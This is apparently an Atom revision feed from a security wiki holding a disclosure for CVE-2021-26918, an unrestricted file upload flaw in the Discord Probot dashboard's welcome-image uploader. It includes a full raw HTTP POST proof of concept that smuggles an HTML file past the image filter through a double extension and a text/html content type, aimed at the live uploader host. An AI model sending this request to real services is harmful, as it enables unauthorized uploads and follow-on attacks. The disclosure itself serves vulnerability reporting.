<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2021-26918_Discord_Probot_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2021-26918 Discord Probot 任意文件上傳漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2021-26918_Discord_Probot_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2021-26918_Discord_Probot_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-26T16:10:48Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2021-26918_Discord_Probot_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%E6%BC%8F%E6%B4%9E&amp;diff=3635&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;&lt;pre&gt; # Exploit Title: Discord Probot - Unrestricted File Upload  # Google Dork: N/A # Date: 2021-02-08 # Exploit Author: ThelastVvV # Vendor Homepage:probot.io # Version:Vers...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2021-26918_Discord_Probot_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E5%82%B3%E6%BC%8F%E6%B4%9E&amp;diff=3635&amp;oldid=prev"/>
		<updated>2021-05-30T03:00:17Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;&amp;lt;pre&amp;gt; # Exploit Title: Discord Probot - Unrestricted File Upload  # Google Dork: N/A # Date: 2021-02-08 # Exploit Author: ThelastVvV # Vendor Homepage:probot.io # Version:Vers...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: Discord Probot - Unrestricted File Upload &lt;br /&gt;
# Google Dork: N/A&lt;br /&gt;
# Date: 2021-02-08&lt;br /&gt;
# Exploit Author: ThelastVvV&lt;br /&gt;
# Vendor Homepage:probot.io&lt;br /&gt;
# Version:Version 2021&lt;br /&gt;
# Tested on: Debian 5.7.10-1parrot2&lt;br /&gt;
# CVE:CVE-2021-26918&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
About:&lt;br /&gt;
Probot is a discord very customizable multipurpose bot for welcome image, In-depth logs, Social commands, Music, Moderation and many more ...&lt;br /&gt;
&lt;br /&gt;
# Description:&lt;br /&gt;
&lt;br /&gt;
The attacker can acces to probot dashboard and use image uploader in the welcomer tab , the attacl can upload many file types  due the issues of unrestricted file uploads which can be bypassed by changing multipart/form-data POST request with a specially-crafted filename or mime type.&lt;br /&gt;
&lt;br /&gt;
# PoC:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
POST / HTTP/1.1&lt;br /&gt;
Host: uploader.probot.io&lt;br /&gt;
Accept: application/json, text/plain, */*&lt;br /&gt;
Accept-Language: en-US,en;q=0.5&lt;br /&gt;
Accept-Encoding: gzip, deflate&lt;br /&gt;
Content-Type: multipart/form-data; boundary=---------------------------&lt;br /&gt;
Content-Length: 333&lt;br /&gt;
Origin: https://probot.io&lt;br /&gt;
DNT: 1&lt;br /&gt;
Connection: close&lt;br /&gt;
Referer: https://probot.io/server/&amp;quot;&amp;quot;/welcomer&lt;br /&gt;
&lt;br /&gt;
-----------------------------&lt;br /&gt;
Content-Disposition: form-data; name=&amp;quot;file&amp;quot;; filename=&amp;quot;ste.html.jpg&amp;quot;&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!DOCTYPE html&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
  &amp;lt;head&amp;gt;&lt;br /&gt;
    &amp;lt;title&amp;gt;bypasss&amp;lt;/title&amp;gt;&lt;br /&gt;
  &amp;lt;/head&amp;gt;&lt;br /&gt;
  &amp;lt;body&amp;gt;&lt;br /&gt;
    &amp;lt;div&amp;gt;bypass&amp;lt;/div&amp;gt;&lt;br /&gt;
  &amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&lt;br /&gt;
-------------------------------&lt;br /&gt;
&lt;br /&gt;
Note:the link of the file will be generated depend on the content type in this case .html&lt;br /&gt;
&lt;br /&gt;
# Impact&lt;br /&gt;
Unrestricted file uploads can be abused to exploit other vulnerable sections of an application when a file on the same or a trusted server is needed (can again lead to client-side or server-side attacks)&lt;br /&gt;
&lt;br /&gt;
#Solution&lt;br /&gt;
File types should be restricted to only jpg ,png ,jpeg  (text/img)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>